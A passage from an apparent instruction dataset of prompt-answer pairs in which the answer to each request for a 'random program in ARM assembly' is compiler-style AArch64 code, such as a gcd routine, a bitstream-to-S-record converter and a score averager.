nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 24]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L2
bl __stack_chk_fail
.L2:
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "Call this program with %i arguments\n"
.align 3
.LC1:
.string "You win!"
.align 3
.LC2:
.string "%lu\n"
.text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -80]!
.cfi_def_cfa_offset 80
.cfi_offset 29, -80
.cfi_offset 30, -72
mov x29, sp
str w0, [sp, 28]
str x1, [sp, 16]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 72]
mov x1, 0
bl megaInit
ldr w0, [sp, 28]
cmp w0, 2
beq .L2
mov w1, 1
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
mov w0, -1
bl exit
.L2:
str wzr, [sp, 40]
b .L3
.L4:
ldrsw x0, [sp, 40]
add x0, x0, 1
lsl x0, x0, 3
ldr x1, [sp, 16]
add x0, x1, x0
ldr x0, [x0]
mov w2, 10
mov x1, 0
bl strtoul
str x0, [sp, 48]
ldrsw x0, [sp, 40]
lsl x0, x0, 3
add x1, sp, 56
ldr x2, [sp, 48]
str x2, [x1, x0]
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L3:
ldr w0, [sp, 40]
cmp w0, 0
ble .L4
add x1, sp, 64
add x0, sp, 56
bl RandomFunc
ldr x1, [sp, 64]
mov x0, 16818
movk x0, 0xfcde, lsl 16
cmp x1, x0
bne .L5
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl puts
.L5:
str wzr, [sp, 44]
b .L6
.L7:
ldrsw x0, [sp, 44]
lsl x0, x0, 3
add x1, sp, 64
ldr x0, [x1, x0]
mov x1, x0
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl printf
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L6:
ldr w0, [sp, 44]
cmp w0, 0
ble .L7
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 72]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L9
bl __stack_chk_fail
.L9:
mov w0, w1
ldp x29, x30, [sp], 80
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
.align 2
.global megaInit
.type megaInit, %function
megaInit:
.LFB1:
.cfi_startproc
nop
ret
.cfi_endproc
.LFE1:
.size megaInit, .-megaInit
.align 2
.global RandomFunc
.type RandomFunc, %function
RandomFunc:
.LFB2:
.cfi_startproc
stp x29, x30, [sp, -80]!
.cfi_def_cfa_offset 80
.cfi_offset 29, -80
.cfi_offset 30, -72
mov x29, sp
str x0, [sp, 24]
str x1, [sp, 16]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 72]
mov x1, 0
ldr x0, [sp, 24]
ldr x1, [x0]
mov x0, 11483
movk x0, 0x51e2, lsl 16
add x0, x1, x0
str x0, [sp, 64]
str xzr, [sp, 56]
b .L12
.L15:
str xzr, [sp, 48]
b .L13
.L14:
add x0, sp, 64
add x0, x0, 1
ldrb w0, [x0]
strb w0, [sp, 47]
add x1, sp, 64
add x1, x1, 4
add x0, sp, 64
add x0, x0, 1
ldrb w1, [x1]
strb w1, [x0]
add x0, sp, 64
add x0, x0, 4
ldrb w1, [sp, 47]
strb w1, [x0]
ldr x0, [sp, 48]
lsl x0, x0, 3
add x1, sp, 64
ldr x1, [x1, x0]
ldr x0, [sp, 64]
lsr x0, x0, 2
and w0, w0, 14
orr w0, w0, 1
ror x2, x1, x0
ldr x0, [sp, 48]
lsl x0, x0, 3
add x1, sp, 64
str x2, [x1, x0]
ldr x0, [sp, 48]
add x0, x0, 1
str x0, [sp, 48]
.L13:
ldr x0, [sp, 48]
cmp x0, 0
beq .L14
ldr x0, [sp, 56]
add x0, x0, 1
str x0, [sp, 56]
.L12:
ldr x0, [sp, 56]
cmp x0, 0
beq .L15
ldr x1, [sp, 64]
mov x0, 16974
movk x0, 0x28aa, lsl 16
orr x1, x1, x0
mov x0, 60659
movk x0, 0x3a7d, lsl 16
add x1, x1, x0
ldr x0, [sp, 16]
str x1, [x0]
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 72]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L16
bl __stack_chk_fail
.L16:
ldp x29, x30, [sp], 80
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE2:
.size RandomFunc, .-RandomFunc
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
mov w0, 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.global events
.data
.align 3
.type events, %object
.size events, 360
events:
.word 0
.word 1074266112
.word 0
.word 1075052544
.string "Success"
.word 0
.word 1075838976
.word 0
.word 1075838976
.string "Success"
.word 0
.word 1076494336
.word 0
.word 1075838976
.string "Fail"
.zero 3
.word 0
.word 1076887552
.word 0
.word 1073741824
.string "Fail"
.zero 3
.word 0
.word 1076953088
.word 0
.word 1075052544
.string "Fail"
.zero 3
.word 0
.word 1078132736
.word 0
.word 1075314688
.string "Fail"
.zero 3
.word 0
.word 1078198272
.word 0
.word 1075314688
.string "Fail"
.zero 3
.word 0
.word 1078296576
.word 0
.word 1075838976
.string "Fail"
.zero 3
.word 0
.word 1078460416
.word 0
.word 1075838976
.string "Fail"
.zero 3
.word 0
.word 1078755328
.word 0
.word 1075052544
.string "Success"
.word 0
.word 1078853632
.word 0
.word 1073741824
.string "Fail"
.zero 3
.word 0
.word 1079148544
.word 0
.word 1073741824
.string "Success"
.word 0
.word 1079246848
.word 0
.word 1075052544
.string "Success"
.word 0
.word 1079492608
.word 0
.word 1073741824
.string "Fail"
.zero 3
.word 0
.word 1079508992
.word 0
.word 1073741824
.string "Success"
.global participants
.align 3
.type participants, %object
.size participants, 720
participants:
.word 0
.word 1075970048
.string "Organizer"
.zero 2
.string "Karlee Batz"
.zero 14
.zero 2
.word 0
.word 1077542912
.string "Organizer"
.zero 2
.string "Vilma Schinner"
.zero 11
.zero 2
.word 0
.word 1077673984
.string "Organizer"
.zero 2
.string "Lupe Deckow"
.zero 14
.zero 2
.word 0
.word 1078067200
.string "Organizer"
.zero 2
.string "Kenyatta Kuhn"
.zero 12
.zero 2
.word 0
.word 1078099968
.string "Participant"
.string "Miss Kaci Lebsack"
.zero 8
.zero 2
.word 0
.word 1078132736
.string "Organizer"
.zero 2
.string "Macy Mayer DDS"
.zero 11
.zero 2
.word 0
.word 1078853632
.string "Participant"
.string "Dewitt Walter"
.zero 12
.zero 2
.word 0
.word 1078951936
.string "Participant"
.string "Prof. Michelle Maggio Jr."
.zero 2
.word 0
.word 1078984704
.string "Participant"
.string "Dr. Jaydon Renner"
.zero 8
.zero 2
.word 0
.word 1079017472
.string "Participant"
.string "Justyn Lebsack"
.zero 11
.zero 2
.word 0
.word 1079164928
.string "Participant"
.string "Berniece Weimann"
.zero 9
.zero 2
.word 0
.word 1079345152
.string "Organizer"
.zero 2
.string "Neil Blick"
.zero 15
.zero 2
.word 0
.word 1079410688
.string "Participant"
.string "Dedrick Ebert"
.zero 12
.zero 2
.word 0
.word 1079508992
.string "Organizer"
.zero 2
.string "Miss Joyce Cremin"
.zero 8
.zero 2
.word 0
.word 1079541760
.string "Participant"
.string "Dr. Kris Deckow"
.zero 10
.zero 2
.global participants_in_events
.align 3
.type participants_in_events, %object
.size participants_in_events, 288
participants_in_events:
.word 0
.word 1074266112
.word 0
.word 1077542912
.word 0
.word 1074266112
.word 0
.word 1079017472
.word 0
.word 1075838976
.word 0
.word 1079345152
.word 0
.word 1076494336
.word 0
.word 1078984704
.word 0
.word 1076494336
.word 0
.word 1079410688
.word 0
.word 1076887552
.word 0
.word 1078853632
.word 0
.word 1076953088
.word 0
.word 1078099968
.word 0
.word 1076953088
.word 0
.word 1079017472
.word 0
.word 1078132736
.word 0
.word 1079017472
.word 0
.word 1078198272
.word 0
.word 1078099968
.word 0
.word 1078198272
.word 0
.word 1079345152
.word 0
.word 1078755328
.word 0
.word 1079410688
.word 0
.word 1078853632
.word 0
.word 1077542912
.word 0
.word 1079246848
.word 0
.word 1078067200
.word 0
.word 1079246848
.word 0
.word 1079017472
.word 0
.word 1079246848
.word 0
.word 1079508992
.word 0
.word 1079492608
.word 0
.word 1078951936
.word 0
.word 1079508992
.word 0
.word 1079410688
.global services
.align 3
.type services, %object
.size services, 96
services:
.word 0
.word 1073741824
.string "Marriage"
.zero 7
.word 0
.word 1075052544
.string "Death Proof"
.zero 4
.word 0
.word 1075314688
.string "Birth Proof"
.zero 4
.word 0
.word 1075838976
.string "Property Change"
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.global bitHeader
.data
.align 3
.type bitHeader, %object
.size bitHeader, 13
bitHeader:
.string ""
.string "\t\017\360\017\360\017\360\017\360"
.string ""
.ascii "\001"
.section .rodata
.align 3
.LC0:
.string "Error: "
.text
.align 2
.global error
.type error, %function
error:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -304]!
.cfi_def_cfa_offset 304
.cfi_offset 29, -304
.cfi_offset 30, -296
mov x29, sp
str x0, [sp, 56]
str x1, [sp, 248]
str x2, [sp, 256]
str x3, [sp, 264]
str x4, [sp, 272]
str x5, [sp, 280]
str x6, [sp, 288]
str x7, [sp, 296]
str q0, [sp, 112]
str q1, [sp, 128]
str q2, [sp, 144]
str q3, [sp, 160]
str q4, [sp, 176]
str q5, [sp, 192]
str q6, [sp, 208]
str q7, [sp, 224]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 104]
mov x1, 0
add x0, sp, 304
str x0, [sp, 72]
add x0, sp, 304
str x0, [sp, 80]
add x0, sp, 240
str x0, [sp, 88]
mov w0, -56
str w0, [sp, 96]
mov w0, -128
str w0, [sp, 100]
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
add x0, sp, 16
add x1, sp, 72
ldp q0, q1, [x1]
stp q0, q1, [x0]
add x0, sp, 16
mov x1, x0
ldr x0, [sp, 56]
bl vprintf
mov w0, 10
bl putchar
mov w0, 1
bl exit
.cfi_endproc
.LFE6:
.size error, .-error
.align 2
.global getCount2
.type getCount2, %function
getCount2:
.LFB7:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
ldr x0, [sp, 24]
bl fgetc
strb w0, [sp, 46]
ldr x0, [sp, 24]
bl fgetc
strb w0, [sp, 47]
ldrb w0, [sp, 46]
lsl w1, w0, 8
ldrb w0, [sp, 47]
orr w0, w1, w0
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE7:
.size getCount2, .-getCount2
.align 2
.global getCount4
.type getCount4, %function
getCount4:
.LFB8:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
ldr x0, [sp, 24]
bl fgetc
strb w0, [sp, 44]
ldr x0, [sp, 24]
bl fgetc
strb w0, [sp, 45]
ldr x0, [sp, 24]
bl fgetc
strb w0, [sp, 46]
ldr x0, [sp, 24]
bl fgetc
strb w0, [sp, 47]
ldrb w0, [sp, 44]
lsl w1, w0, 24
ldrb w0, [sp, 45]
lsl w0, w0, 16
orr w1, w1, w0
ldrb w0, [sp, 46]
lsl w0, w0, 8
orr w1, w1, w0
ldrb w0, [sp, 47]
orr w0, w1, w0
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE8:
.size getCount4, .-getCount4
.section .rodata
.align 3
.LC1:
.string "%s"
.text
.align 2
.global show
.type show, %function
show:
.LFB9:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 40]
str x1, [sp, 32]
str w2, [sp, 28]
ldr x1, [sp, 40]
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl printf
b .L8
.L9:
ldr x0, [sp, 32]
bl fgetc
str w0, [sp, 60]
ldr w0, [sp, 60]
cmp w0, 31
ble .L8
ldr w0, [sp, 60]
cmp w0, 126
bgt .L8
ldr w0, [sp, 60]
bl putchar
.L8:
ldr w0, [sp, 28]
sub w1, w0, #1
str w1, [sp, 28]
cmp w0, 0
bne .L9
mov w0, 10
bl putchar
nop
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE9:
.size show, .-show
.align 2
.global mirror
.type mirror, %function
mirror:
.LFB10:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
strb w0, [sp, 15]
strb wzr, [sp, 27]
str wzr, [sp, 28]
b .L11
.L13:
ldrb w0, [sp, 27]
ubfiz w0, w0, 1, 7
strb w0, [sp, 27]
ldrb w0, [sp, 15]
and w0, w0, 1
cmp w0, 0
beq .L12
ldrb w0, [sp, 27]
orr w0, w0, 1
strb w0, [sp, 27]
.L12:
ldrb w0, [sp, 15]
lsr w0, w0, 1
strb w0, [sp, 15]
ldr w0, [sp, 28]
add w0, w0, 1
str w0, [sp, 28]
.L11:
ldr w0, [sp, 28]
cmp w0, 7
ble .L13
ldrb w0, [sp, 27]
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE10:
.size mirror, .-mirror
.section .rodata
.align 3
.LC2:
.string "Usage: %s <load addr, hex> <input file> <output file>\n"
.align 3
.LC3:
.string " ROM quadrant 0: load addr = 0x000000"
.align 3
.LC4:
.string " ROM quadrant 1: load addr = 0x080000"
.align 3
.LC5:
.string " ROM quadrant 2: load addr = 0x100000"
.align 3
.LC6:
.string " ROM quadrant 3: load addr = 0x180000"
.align 3
.LC7:
.string "illegal load address %s"
.align 3
.LC8:
.string "rb"
.align 3
.LC9:
.string "cannot open input file %s"
.align 3
.LC10:
.string "wt"
.align 3
.LC11:
.string "cannot open output file %s"
.align 3
.LC12:
.string "input file header is not a '.bit' header"
.align 3
.LC13:
.string "section 'a' not found"
.align 3
.LC14:
.string "design name:\t\t"
.align 3
.LC15:
.string "section 'b' not found"
.align 3
.LC16:
.string "part name:\t\t"
.align 3
.LC17:
.string "section 'c' not found"
.align 3
.LC18:
.string "creation date:\t\t"
.align 3
.LC19:
.string "section 'd' not found"
.align 3
.LC20:
.string "creation time:\t\t"
.align 3
.LC21:
.string "section 'e' not found"
.align 3
.LC22:
.string "bit stream size:\t0x%08X\n"
.align 3
.LC23:
.string "S2%02X%06X"
.align 3
.LC24:
.string "%02X"
.align 3
.LC25:
.string "%02X\n"
.align 3
.LC26:
.string "S804000000FB\n"
.align 3
.LC27:
.string "bytes converted:\t0x%08X\n"
.text
.align 2
.global main
.type main, %function
main:
.LFB11:
.cfi_startproc
stp x29, x30, [sp, -112]!
.cfi_def_cfa_offset 112
.cfi_offset 29, -112
.cfi_offset 30, -104
mov x29, sp
str w0, [sp, 28]
str x1, [sp, 16]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 104]
mov x1, 0
ldr w0, [sp, 28]
cmp w0, 4
beq .L16
ldr x0, [sp, 16]
ldr x0, [x0]
mov x1, x0
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl printf
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl puts
adrp x0, .LC4
add x0, x0, :lo12:.LC4
bl puts
adrp x0, .LC5
add x0, x0, :lo12:.LC5
bl puts
adrp x0, .LC6
add x0, x0, :lo12:.LC6
bl puts
mov w0, 1
bl exit
.L16:
ldr x0, [sp, 16]
add x0, x0, 8
ldr x0, [x0]
add x1, sp, 64
mov w2, 16
bl strtoul
str w0, [sp, 40]
ldr x0, [sp, 64]
ldrb w0, [x0]
cmp w0, 0
beq .L17
ldr x0, [sp, 16]
add x0, x0, 8
ldr x0, [x0]
mov x1, x0
adrp x0, .LC7
add x0, x0, :lo12:.LC7
bl error
.L17:
ldr x0, [sp, 16]
add x0, x0, 16
ldr x2, [x0]
adrp x0, .LC8
add x1, x0, :lo12:.LC8
mov x0, x2
bl fopen
str x0, [sp, 72]
ldr x0, [sp, 72]
cmp x0, 0
bne .L18
ldr x0, [sp, 16]
add x0, x0, 16
ldr x0, [x0]
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl error
.L18:
ldr x0, [sp, 16]
add x0, x0, 24
ldr x2, [x0]
adrp x0, .LC10
add x1, x0, :lo12:.LC10
mov x0, x2
bl fopen
str x0, [sp, 80]
ldr x0, [sp, 80]
cmp x0, 0
bne .L19
ldr x0, [sp, 16]
add x0, x0, 24
ldr x0, [x0]
mov x1, x0
adrp x0, .LC11
add x0, x0, :lo12:.LC11
bl error
.L19:
str wzr, [sp, 48]
b .L20
.L22:
ldr x0, [sp, 72]
bl fgetc
mov w2, w0
adrp x0, bitHeader
add x1, x0, :lo12:bitHeader
ldrsw x0, [sp, 48]
ldrb w0, [x1, x0]
cmp w2, w0
beq .L21
adrp x0, .LC12
add x0, x0, :lo12:.LC12
bl error
.L21:
ldr w0, [sp, 48]
add w0, w0, 1
str w0, [sp, 48]
.L20:
ldr w0, [sp, 48]
cmp w0, 12
ble .L22
ldr x0, [sp, 72]
bl fgetc
cmp w0, 97
beq .L23
adrp x0, .LC13
add x0, x0, :lo12:.LC13
bl error
.L23:
ldr x0, [sp, 72]
bl getCount2
str w0, [sp, 48]
ldr w2, [sp, 48]
ldr x1, [sp, 72]
adrp x0, .LC14
add x0, x0, :lo12:.LC14
bl show
ldr x0, [sp, 72]
bl fgetc
cmp w0, 98
beq .L24
adrp x0, .LC15
add x0, x0, :lo12:.LC15
bl error
.L24:
ldr x0, [sp, 72]
bl getCount2
str w0, [sp, 48]
ldr w2, [sp, 48]
ldr x1, [sp, 72]
adrp x0, .LC16
add x0, x0, :lo12:.LC16
bl show
ldr x0, [sp, 72]
bl fgetc
cmp w0, 99
beq .L25
adrp x0, .LC17
add x0, x0, :lo12:.LC17
bl error
.L25:
ldr x0, [sp, 72]
bl getCount2
str w0, [sp, 48]
ldr w2, [sp, 48]
ldr x1, [sp, 72]
adrp x0, .LC18
add x0, x0, :lo12:.LC18
bl show
ldr x0, [sp, 72]
bl fgetc
cmp w0, 100
beq .L26
adrp x0, .LC19
add x0, x0, :lo12:.LC19
bl error
.L26:
ldr x0, [sp, 72]
bl getCount2
str w0, [sp, 48]
ldr w2, [sp, 48]
ldr x1, [sp, 72]
adrp x0, .LC20
add x0, x0, :lo12:.LC20
bl show
ldr x0, [sp, 72]
bl fgetc
cmp w0, 101
beq .L27
adrp x0, .LC21
add x0, x0, :lo12:.LC21
bl error
.L27:
ldr x0, [sp, 72]
bl getCount4
str w0, [sp, 48]
ldr w1, [sp, 48]
adrp x0, .LC22
add x0, x0, :lo12:.LC22
bl printf
str wzr, [sp, 60]
.L37:
str wzr, [sp, 56]
str wzr, [sp, 44]
b .L28
.L31:
ldr x0, [sp, 72]
bl fgetc
str w0, [sp, 52]
ldr w0, [sp, 52]
cmn w0, #1
beq .L40
ldr w0, [sp, 52]
and w0, w0, 255
bl mirror
and w0, w0, 255
str w0, [sp, 52]
ldr w0, [sp, 52]
and w2, w0, 255
ldrsw x0, [sp, 44]
add x1, sp, 88
strb w2, [x1, x0]
ldr w0, [sp, 52]
ldr w1, [sp, 56]
add w0, w1, w0
str w0, [sp, 56]
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L28:
ldr w0, [sp, 44]
cmp w0, 15
ble .L31
b .L30
.L40:
nop
.L30:
ldr w0, [sp, 44]
cmp w0, 0
beq .L41
ldr w1, [sp, 60]
ldr w0, [sp, 44]
add w0, w1, w0
str w0, [sp, 60]
ldr w0, [sp, 44]
add w0, w0, 4
ldr w3, [sp, 40]
mov w2, w0
adrp x0, .LC23
add x1, x0, :lo12:.LC23
ldr x0, [sp, 80]
bl fprintf
str wzr, [sp, 48]
b .L34
.L35:
ldrsw x0, [sp, 48]
add x1, sp, 88
ldrb w0, [x1, x0]
mov w2, w0
adrp x0, .LC24
add x1, x0, :lo12:.LC24
ldr x0, [sp, 80]
bl fprintf
ldr w0, [sp, 48]
add w0, w0, 1
str w0, [sp, 48]
.L34:
ldr w1, [sp, 48]
ldr w0, [sp, 44]
cmp w1, w0
blt .L35
ldr w1, [sp, 44]
ldr w0, [sp, 56]
add w0, w1, w0
add w0, w0, 4
str w0, [sp, 56]
ldr w0, [sp, 40]
and w1, w0, 255
ldr w0, [sp, 40]
lsr w0, w0, 8
and w0, w0, 255
add w1, w1, w0
ldr w0, [sp, 40]
lsr w0, w0, 16
and w0, w0, 255
add w0, w1, w0
ldr w1, [sp, 56]
add w0, w1, w0
str w0, [sp, 56]
ldr w0, [sp, 56]
mvn w0, w0
and w0, w0, 255
mov w2, w0
adrp x0, .LC25
add x1, x0, :lo12:.LC25
ldr x0, [sp, 80]
bl fprintf
ldr w0, [sp, 44]
ldr w1, [sp, 40]
add w0, w1, w0
str w0, [sp, 40]
ldr w0, [sp, 52]
cmn w0, #1
beq .L42
b .L37
.L41:
nop
b .L33
.L42:
nop
.L33:
ldr x3, [sp, 80]
mov x2, 13
mov x1, 1
adrp x0, .LC26
add x0, x0, :lo12:.LC26
bl fwrite
ldr x0, [sp, 72]
bl fclose
ldr x0, [sp, 80]
bl fclose
ldr w1, [sp, 60]
adrp x0, .LC27
add x0, x0, :lo12:.LC27
bl printf
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 104]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L39
bl __stack_chk_fail
.L39:
mov w0, w1
ldp x29, x30, [sp], 112
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE11:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "r"
.align 3
.LC1:
.string "student.txt"
.align 3
.LC2:
.string "%d"
.align 3
.LC3:
.string "%s %d"
.align 3
.LC4:
.string "%d, %d \n"
.align 3
.LC5:
.string "\354\240\220\354\210\230\355\217\211\352\267\240 %.2f\n"
.text
.align 2
.global main
.type main, %function
main:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 56]
mov x1, 0
str wzr, [sp, 28]
adrp x0, .LC0
add x1, x0, :lo12:.LC0
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl fopen
str x0, [sp, 40]
add x0, sp, 24
mov x2, x0
adrp x0, .LC2
add x1, x0, :lo12:.LC2
ldr x0, [sp, 40]
bl __isoc99_fscanf
ldr w0, [sp, 24]
sxtw x1, w0
mov x0, x1
lsl x0, x0, 1
add x0, x0, x1
lsl x0, x0, 3
bl malloc
str x0, [sp, 48]
str wzr, [sp, 32]
b .L2
.L3:
ldrsw x1, [sp, 32]
mov x0, x1
lsl x0, x0, 1
add x0, x0, x1
lsl x0, x0, 3
mov x1, x0
ldr x0, [sp, 48]
add x0, x0, x1
mov x2, x0
ldrsw x1, [sp, 32]
mov x0, x1
lsl x0, x0, 1
add x0, x0, x1
lsl x0, x0, 3
mov x1, x0
ldr x0, [sp, 48]
add x0, x0, x1
add x0, x0, 20
mov x3, x0
adrp x0, .LC3
add x1, x0, :lo12:.LC3
ldr x0, [sp, 40]
bl __isoc99_fscanf
ldr w0, [sp, 32]
add w0, w0, 1
str w0, [sp, 32]
.L2:
ldr w0, [sp, 24]
ldr w1, [sp, 32]
cmp w1, w0
blt .L3
str wzr, [sp, 36]
b .L4
.L5:
ldrsw x1, [sp, 36]
mov x0, x1
lsl x0, x0, 1
add x0, x0, x1
lsl x0, x0, 3
mov x1, x0
ldr x0, [sp, 48]
add x0, x0, x1
ldr w0, [x0, 20]
ldr w1, [sp, 28]
add w0, w1, w0
str w0, [sp, 28]
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
.L4:
ldr w0, [sp, 24]
ldr w1, [sp, 36]
cmp w1, w0
blt .L5
ldr x0, [sp, 48]
bl free
ldr x0, [sp, 40]
bl fclose
ldr w0, [sp, 24]
mov w2, w0
ldr w1, [sp, 28]
adrp x0, .LC4
add x0, x0, :lo12:.LC4
bl printf
ldr w0, [sp, 28]
scvtf d1, w0
ldr w0, [sp, 24]
scvtf d0, w0
fdiv d0, d1, d0
adrp x0, .LC5
add x0, x0, :lo12:.LC5
bl printf
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 56]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L7
bl __stack_chk_fail
.L7:
mov w0, w1
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global gcd
.type gcd, %function
gcd:
.LFB0:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str w0, [sp, 12]
str w1, [sp, 8]
ldr w0, [sp, 12]
ldr w2, [sp, 8]
ldr w1, [sp, 8]
cmp w2, w0
csel w0, w1, w0, ge
str w0, [sp, 20]
ldr w0, [sp, 12]
ldr w2, [sp, 8]
ldr w1, [sp, 8]
cmp w2, w0
csel w0, w1, w0, le
str w0, [sp, 24]
b .L2
.L3:
ldr w0, [sp, 20]
ldr w1, [sp, 24]
sdiv w2, w0, w1
ldr w1, [sp, 24]
mul w1, w2, w1
sub w0, w0, w1
str w0, [sp, 28]
ldr w0, [sp, 24]
str w0, [sp, 20]
ldr w0, [sp, 28]
str w0, [sp, 24]
.L2:
ldr w0, [sp, 24]
cmp w0, 0
bgt .L3
ldr w0, [sp, 20]
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size gcd, .-gcd
.section .rodata
.align 3
.LC0:
.string "max common divider %d\n"
.text
.align 2
.global main
.type main, %function
main:
.LFB1:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str w0, [sp, 28]
str x1, [sp, 16]
mov w0, 50
str w0, [sp, 40]
mov w0, 15
str w0, [sp, 44]
ldr w1, [sp, 44]
ldr w0, [sp, 40]
bl gcd
mov w1, w0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
mov w0, 0
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE1:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "%d\n"
.text
.align 2
.global main
.type main, %function
main:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
stp d8, d9, [sp, 16]
.cfi_offset 72, -48
.cfi_offset 73, -40
mov w0, 100
str w0, [sp, 44]
b .L2
.L4:
ldr w0, [sp, 44]
str w0, [sp, 48]
ldr w1, [sp, 48]
mov w0, 26215
movk w0, 0x6666, lsl 16
smull x0, w1, w0
lsr x0, x0, 32
asr w2, w0, 2
asr w0, w1, 31
sub w2, w2, w0
mov w0, w2
lsl w0, w0, 2
add w0, w0, w2
lsl w0, w0, 1
sub w0, w1, w0
str w0, [sp, 52]
ldr w0, [sp, 48]
mov w1, 26215
movk w1, 0x6666, lsl 16
smull x1, w0, w1
lsr x1, x1, 32
asr w1, w1, 2
asr w0, w0, 31
sub w0, w1, w0
str w0, [sp, 48]
ldr w1, [sp, 48]
mov w0, 26215
movk w0, 0x6666, lsl 16
smull x0, w1, w0
lsr x0, x0, 32
asr w2, w0, 2
asr w0, w1, 31
sub w2, w2, w0
mov w0, w2
lsl w0, w0, 2
add w0, w0, w2
lsl w0, w0, 1
sub w0, w1, w0
str w0, [sp, 56]
ldr w0, [sp, 48]
mov w1, 26215
movk w1, 0x6666, lsl 16
smull x1, w0, w1
lsr x1, x1, 32
asr w1, w1, 2
asr w0, w0, 31
sub w0, w1, w0
str w0, [sp, 48]
ldr w0, [sp, 48]
str w0, [sp, 60]
ldr w0, [sp, 44]
scvtf d8, w0
ldr w0, [sp, 52]
scvtf d0, w0
fmov d1, 3.0e+0
